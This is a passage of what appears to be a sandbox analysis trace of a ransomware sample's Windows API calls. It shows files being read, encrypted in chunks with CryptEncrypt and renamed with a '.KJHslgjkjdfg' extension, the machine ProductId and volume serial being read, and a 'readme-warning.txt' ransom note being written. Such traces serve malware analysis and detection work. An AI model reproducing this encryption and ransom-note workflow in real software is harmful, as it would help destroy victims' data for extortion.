lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.698] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.699] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.699] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.699] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.699] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.715] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.718] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.718] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.720] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.720] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.720] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.720] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.867] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.870] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.870] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.871] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.871] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.871] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.871] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.871] SetEndOfFile (hFile=0x124) returned 1 [0161.874] GetProcessHeap () returned 0x990000 [0161.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.874] GetProcessHeap () returned 0x990000 [0161.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.874] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.kjhslgjkjdfg")) returned 1 [0161.876] CloseHandle (hObject=0x124) returned 1 [0161.877] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0161.877] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.877] GetProcessHeap () returned 0x990000 [0161.877] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.877] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.877] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xd, lpOverlapped=0x0) returned 1 [0162.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0162.274] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.274] GetProcessHeap () returned 0x990000 [0162.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.274] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0162.274] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.274] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0162.274] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0162.274] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0162.274] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0162.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0162.275] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0162.275] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0162.275] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.275] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x2213, lpOverlapped=0x0) returned 1 [0162.285] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x2220, dwBufLen=0x2220 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x2220) returned 1 [0162.285] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.285] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x2220, lpOverlapped=0x0) returned 1 [0162.286] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.286] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.286] SetEndOfFile (hFile=0x124) returned 1 [0162.288] GetProcessHeap () returned 0x990000 [0162.289] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.289] GetProcessHeap () returned 0x990000 [0162.289] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0162.289] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.kjhslgjkjdfg")) returned 1 [0162.290] CloseHandle (hObject=0x124) returned 1 [0162.290] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0162.290] GetProcessHeap () returned 0x990000 [0162.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.290] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0162.290] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0162.290] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.290] GetProcessHeap () returned 0x990000 [0162.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0162.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0162.291] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0162.291] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.291] GetProcessHeap () returned 0x990000 [0162.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0162.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0162.291] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0162.291] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.291] GetProcessHeap () returned 0x990000 [0162.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0162.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0162.291] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0162.291] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.291] GetProcessHeap () returned 0x990000 [0162.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0162.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0162.291] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0162.291] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.291] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0162.292] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0162.292] RegCloseKey (hKey=0x124) returned 0x0 [0162.292] GetProcessHeap () returned 0x990000 [0162.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0162.292] GetProcessHeap () returned 0x990000 [0162.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0162.292] GetProcessHeap () returned 0x990000 [0162.292] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0162.292] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0162.292] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0162.292] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0162.292] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0162.292] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.293] GetProcessHeap () returned 0x990000 [0162.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0162.293] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0162.293] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0162.293] GetProcessHeap () returned 0x990000 [0162.293] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0162.293] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0162.293] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.294] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0162.296] CloseHandle (hObject=0x124) returned 1 [0162.296] GetProcessHeap () returned 0x990000 [0162.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0162.296] GetProcessHeap () returned 0x990000 [0162.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0162.296] GetProcessHeap () returned 0x990000 [0162.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0162.296] GetProcessHeap () returned 0x990000 [0162.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.296] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0162.296] GetProcessHeap () returned 0x990000 [0162.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0162.296] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0162.296] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0162.297] GetProcessHeap () returned 0x990000 [0162.297] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc3c8 | out: hHeap=0x990000) returned 1 [0162.297] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0162.297] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0162.341] GetProcessHeap () returned 0x990000 [0162.341] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0162.341] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0162.341] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0162.341] GetProcessHeap () returned 0x990000 [0162.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28) returned 0x9b85d0 [0162.341] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0162.342] GetProcessHeap () returned 0x990000 [0162.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b85d0 | out: hHeap=0x990000) returned 1 [0162.342] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0162.342] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Admin", cAlternateFileName="")) returned 1 [0162.342] GetProcessHeap () returned 0x990000 [0162.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22a) returned 0x9dc3c8 [0162.342] GetProcessHeap () returned 0x990000 [0162.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x34) returned 0x9b6568 [0162.342] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0162.343] GetProcessHeap () returned 0x990000 [0162.343] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b6568 | out: hHeap=0x990000) returned 1 [0162.343] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.343] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0162.343] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0162.344] GetProcessHeap () returned 0x990000 [0162.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x990000) returned 1 [0162.344] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, 